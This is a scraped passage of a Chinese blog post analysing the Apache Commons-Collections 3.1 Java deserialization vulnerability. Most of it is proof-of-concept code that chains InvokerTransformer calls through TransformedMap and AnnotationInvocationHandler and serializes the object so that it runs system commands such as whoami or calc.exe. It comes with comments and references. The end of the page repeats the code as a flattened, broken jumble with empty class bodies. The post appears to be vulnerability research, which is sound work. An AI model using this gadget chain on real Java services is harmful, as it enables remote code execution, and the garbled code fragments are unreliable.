            <span class="hljs-keyword">new</span> Object[] { <span class="hljs-string">"whoami"</span> }
            <span class="hljs-comment">//new Object[] { execArgs } </span>
        )
    };

    <span class="hljs-comment">//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作</span>
    Transformer transformedChain = <span class="hljs-keyword">new</span> ChainedTransformer(transformers);

    <span class="hljs-comment">//BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict</span>
    <span class="hljs-comment">//Map&amp;lt;String, String&amp;gt; BeforeTransformerMap = new HashMap&amp;lt;String, String&amp;gt;();</span>
    Map&lt;String,String&gt; BeforeTransformerMap = <span class="hljs-keyword">new</span> HashMap&lt;String,String&gt;();

    BeforeTransformerMap.put(<span class="hljs-string">"hello"</span>, <span class="hljs-string">"hello"</span>);

    <span class="hljs-comment">//Map数据结构,转换后的Map</span>
   <span class="hljs-comment">/*
   TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
        第一个参数为待转化的Map对象
        第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
        第三个参数为Map对象内的value要经过的转化方法。
   */</span>
    <span class="hljs-comment">//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));</span>
    Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, <span class="hljs-keyword">null</span>, transformedChain);

    Class cl = Class.forName(<span class="hljs-string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);

    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(<span class="hljs-keyword">true</span>);
    Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

    File f = <span class="hljs-keyword">new</span> File(<span class="hljs-string">"temp.bin"</span>);
    ObjectOutputStream out = <span class="hljs-keyword">new</span> ObjectOutputStream(<span class="hljs-keyword">new</span> FileOutputStream(f));
    out.writeObject(instance);
}

}

/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行

 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

*/

参考

以Commons-Collections为例谈Java反序列化POC的编写 - 安全客,安全资讯平台

Java 反序列化漏洞始末(1)— Apache Commons - 浅蓝 's blog

Apache Commons Collections反序列化漏洞分析与复现 - 安全客,安全资讯平台

Threezh1'Blog

[Java入坑:Apache-Commons-Collections-3.1 反序列化漏洞分析 | Passer6y's Blog](https://0day.design/2020/01/24/Apache-Commons-Collections-3.1 反序列化漏洞分析/)

Apache-Commons-Collections反序列化漏洞分析 - FreeBuf网络安全行业门户

Apache Commons Collections 反序列化详细分析学习总结 - tr1ple - 博客园

JAVA反序列化 - Commons-Collections组件

  • 发表于 2021-07-01 10:39:50
  • 阅读 ( 526 )
  • 分类:漏洞分析
Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认... import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class Commons_ collections_ Test { } } public class Commons_ collections_ Test { public static void main (String[] args) throws Exception { InvokerTransformer invokerTransformer= new InvokerTransformer( "exec" , new Class[]{String.class}, new String[]{ "calc.exe" }); invokerTransformer.transform(Class.forName( "java.lang.Runtime" ).getMethod( "getRuntime" ).invoke(Class.forName( "java.lang.Runtime" ))); } public class Commons_ collections_ Test { } import java.io.FileInputStream; import java.io.ObjectInputStream; import java.io.Serializable; public class Serial implements Serializable { public static void main (String[] args) throws Exception { //构造传入transform的参数,为Runtime实例, Object input=Class.forName( "java.lang.Runtime" ).getMethod( "getRuntime" ).invoke(Class.forName( "java.lang.Runtime" )); } public class Commons_ collections_ Test { } public class Commons_ collections_ Test { } public class Commons_ collections_ Test { } import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class Commons_ collections_ Test { } import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Map; public class Commons_ collections_ Test { } import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class POC_ Test { public static void main (String[] args) throws Exception { //execArgs: 待执行的命令数组 //String[] execArgs = new String[] { "sh", "-c", "whoami &amp;gt; /tmp/fuck" }; } /* 思路:构建BeforeTransformerMap的键值对,为其赋值, 利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme 对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行 * /